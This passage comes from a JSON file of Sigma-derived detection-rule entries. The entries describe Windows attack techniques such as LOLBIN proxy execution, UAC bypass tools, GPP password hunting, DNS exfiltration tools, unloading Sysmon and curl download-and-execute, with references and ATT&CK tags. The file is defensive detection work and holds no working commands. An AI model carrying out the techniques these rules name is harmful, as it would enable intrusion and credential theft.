          "https://learn.microsoft.com/en-us/windows/security/identity-protection/virtual-smart-cards/virtual-smart-card-tpmvscmgr",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tpmvscmgr_add_virtual_smartcard.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "c633622e-cab9-4eaa-bb13-66a1d68b3e47",
      "value": "New Virtual Smart Card Created Via TpmVscMgr.EXE"
    },
    {
      "description": "Detects usage of \"cdb.exe\" to launch 64-bit shellcode or arbitrary processes or commands from a debugger script file",
      "meta": {
        "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Legitimate use of debugging tools"
        ],
        "filename": "proc_creation_win_lolbin_cdb.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1534957360032120833",
          "https://web.archive.org/web/20170715043507/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1106",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2",
      "value": "WinDbg/CDB LOLBIN Usage"
    },
    {
      "description": "Detects a \"regsvr32\" execution where the DLL doesn't contain a common file extension.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/07/17",
        "falsepositive": [
          "Other legitimate extensions currently not in the list either from third party or specific Windows components."
        ],
        "filename": "proc_creation_win_regsvr32_uncommon_extension.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_uncommon_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      "uuid": "50919691-7302-437f-8e10-1fe088afa145",
      "value": "Regsvr32 DLL Execution With Uncommon Extension"
    },
    {
      "description": "Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_htran_or_natbypass.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/HiwinCN/HTran",
          "https://github.com/cw1997/NATBypass",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_htran_or_natbypass.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090",
          "attack.s0040"
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      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "f5e3b62f-e577-4e59-931e-0a15b2b94e1e",
      "value": "HackTool - Htran/NATBypass Execution"
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      "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/01/24",
        "falsepositive": [
          "Legitimate use by administrators"
        ],
        "filename": "proc_creation_win_pua_nircmd.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.nirsoft.net/utils/nircmd2.html#using",
          "https://www.nirsoft.net/utils/nircmd.html",
          "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nircmd.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002",
          "attack.s0029"
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      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22",
      "value": "PUA - NirCmd Execution"
    },
    {
      "description": "Detects suspicious renamed SysInternals DebugView execution",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/05/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_sysinternals_debugview.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.epicturla.com/blog/sysinturla",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_debugview.yml"
        ],
        "tags": [
          "attack.resource_development",
          "attack.t1588.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f",
      "value": "Renamed SysInternals DebugView Execution"
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    {
      "description": "Detects uncommon \"conhost\" child processes. This could be a sign of \"conhost\" usage as a LOLBIN or potential process injection activity.",
      "meta": {
        "author": "omkar72",
        "creation_date": "2020/10/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_conhost_susp_child_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
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      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "7dc2dedd-7603-461a-bc13-15803d132355",
      "value": "Uncommon Child Process Of Conhost.EXE"
    },
    {
      "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_inline_vbs.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_inline_vbs.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055"
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      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd",
      "value": "Suspicious Rundll32 Invoking Inline VBScript"
    },
    {
      "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_winzip_password_compression.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winzip_password_compression.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1560.001"
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      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d",
      "value": "Compress Data and Lock With Password for Exfiltration With WINZIP"
    },
    {
      "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/25",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_w32tm.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md",
          "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1124"
        ]
      },
      "related": [
        {
          "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215",
      "value": "Use of W32tm as Timer"
    },
    {
      "description": "Detects potential abuse of the provisioning registry key for indirect command execution through \"Provlaunch.exe\".",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel",
        "creation_date": "2023/08/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_provlaunch_provisioning_command.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/0gtweet/status/1674399582162153472",
          "https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_provlaunch_provisioning_command.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
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      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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      ],
      "uuid": "2a4b3e61-9d22-4e4a-b60f-6e8f0cde6f25",
      "value": "Potential Provisioning Registry Key Abuse For Binary Proxy Execution"
    },
    {
      "description": "Detects when a user downloads a file from an IP based URL using CertOC.exe",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certoc_download_direct_ip.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Certoc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_download_direct_ip.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.execution",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
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          ],
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        }
      ],
      "uuid": "b86f6dea-0b2f-41f5-bdcc-a057bd19cd6a",
      "value": "File Download From IP Based URL Via CertOC.EXE"
    },
    {
      "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_zip_compress.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_zip_compress.yml"
        ],
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          "attack.collection",
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      },
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      ],
      "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98",
      "value": "Zip A Folder With PowerShell For Staging In Temp"
    },
    {
      "description": "Detects execution of the \"del\" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.",
      "meta": {
        "author": "frack113 , X__Junior (Nextron Systems)",
        "creation_date": "2021/12/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_del_greedy_deletion.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D",
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_greedy_deletion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
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      ],
      "uuid": "204b17ae-4007-471b-917b-b917b315c5db",
      "value": "Greedy File Deletion Using Del"
    },
    {
      "description": "Detect usage of the \"driverquery\" utility to perform reconnaissance on installed drivers",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/19",
        "falsepositive": [
          "Legitimate usage by some scripts might trigger this as well"
        ],
        "filename": "proc_creation_win_driverquery_recon.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/",
          "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/",
          "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_recon.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
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      "value": "Potential Recon Activity Using DriverQuery.EXE"
    },
    {
      "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE",
      "meta": {
        "author": "Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Inventory tool runs",
          "Administrative activity"
        ],
        "filename": "proc_creation_win_net_groups_and_accounts_recon.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/",
          "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/",
          "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1087.001",
          "attack.t1087.002"
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      },
      "related": [
        {
          "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
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      ],
      "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0",
      "value": "Suspicious Group And Account Reconnaissance Activity Using Net.EXE"
    },
    {
      "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_ieinstal.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml"
        ],
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          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
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      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "80fc36aa-945e-4181-89f2-2f907ab6775d",
      "value": "UAC Bypass Using IEInstal - Process"
    },
    {
      "description": "Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_stracciatella_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/mgeeky/Stracciatella",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_stracciatella_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1059",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "7a4d9232-92fc-404d-8ce1-4c92e7caf539",
      "value": "HackTool - Stracciatella Execution"
    },
    {
      "description": "Well-known DNS Exfiltration tools execution",
      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.001",
          "attack.command_and_control",
          "attack.t1071.004",
          "attack.t1132.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0",
      "value": "DNS Exfiltration and Tunneling Tools Execution"
    },
    {
      "description": "Detects suspicious child processes of \"BgInfo.exe\" which could be a sign of potential abuse of the binary to proxy execution via external VBScript",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bginfo_suspicious_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_suspicious_child_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
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      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "811f459f-9231-45d4-959a-0266c6311987",
      "value": "Suspicious Child Process Of BgInfo.EXE"
    },
    {
      "description": "Detects a potential command line flag anomaly related to \"regsvr32\" in which the \"/i\" flag is used without the \"/n\" which should be uncommon.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/07/13",
        "falsepositive": [
          "Administrator typo might cause some false positives"
        ],
        "filename": "proc_creation_win_regsvr32_flags_anomaly.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/sbousseaden/status/1282441816986484737?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0",
      "value": "Potential Regsvr32 Commandline Flag Anomaly"
    },
    {
      "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_gpp_passwords.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.006"
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      },
      "related": [
        {
          "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
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      ],
      "uuid": "91a2c315-9ee6-4052-a853-6f6a8238f90d",
      "value": "Findstr GPP Passwords"
    },
    {
      "description": "Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays",
      "meta": {
        "author": "Florian Roth (Nextron Systems), omkar72, oscd.community",
        "creation_date": "2021/02/24",
        "falsepositive": [
          "Admin activity (unclear what they do nowadays with finger.exe)"
        ],
        "filename": "proc_creation_win_finger_usage.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt",
          "https://twitter.com/bigmacjpg/status/1349727699863011328?s=12",
          "https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_finger_usage.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
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        {
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          ],
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      ],
      "uuid": "af491bca-e752-4b44-9c86-df5680533dbc",
      "value": "Finger.exe Suspicious Invocation"
    },
    {
      "description": "Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_sys.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_sys.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
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      },
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        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
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      ],
      "uuid": "731231b9-0b5d-4219-94dd-abb6959aa7ea",
      "value": "Suspicious Rundll32 Activity Invoking Sys File"
    },
    {
      "description": "Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata",
      "meta": {
        "author": "Christian Burkard (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_uacme.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
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      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
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      ],
      "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177",
      "value": "HackTool - UACMe Akagi Execution"
    },
    {
      "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/05/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msdt_arbitrary_command_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_JohnHammond/status/1531672601067675648",
          "https://twitter.com/nao_sec/status/1530196847679401984",
          "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml"
        ],
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        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
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      ],
      "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5",
      "value": "Potential Arbitrary Command Execution Using Msdt.EXE"
    },
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      "description": "Detects possible Sysmon filter driver unloaded via fltmc.exe",
      "meta": {
        "author": "Kirill Kiryanov, oscd.community",
        "creation_date": "2019/10/23",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_fltmc_unload_driver_sysmon.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver_sysmon.yml"
        ],
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          "attack.defense_evasion",
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          "attack.t1562",
          "attack.t1562.002"
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      },
      "related": [
        {
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          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
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      ],
      "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8",
      "value": "Sysmon Driver Unloaded Via Fltmc.EXE"
    },
    {
      "description": "Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking",
      "meta": {
        "author": "xknow @xknow_infosec, Tim Shelton",
        "creation_date": "2020/06/11",
        "falsepositive": [
          "Java tools are known to produce false-positive when loading libraries"
        ],
        "filename": "proc_creation_win_cmd_path_traversal.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Oddvarmoe/status/1270633613449723905",
          "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_path_traversal.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
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      },
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        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
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      ],
      "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1",
      "value": "Potential CommandLine Path Traversal Via Cmd.EXE"
    },
    {
      "description": "Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.",
      "meta": {
        "author": "Sreeman, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/01/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_curl_download_exec_combo.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_curl_download_exec_combo.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1218",
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "21dd6d38-2b18-4453-9404-a0fe4a0cc288",
      "value": "Curl Download And Execute Combination"
    },
    {
      "description": "Detects a suspicious copy command to or from an Admin share or remote",
      "meta": {
        "author": "Florian Roth (Nextron Systems), oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali",
        "creation_date": "2019/12/30",
        "falsepositive": [
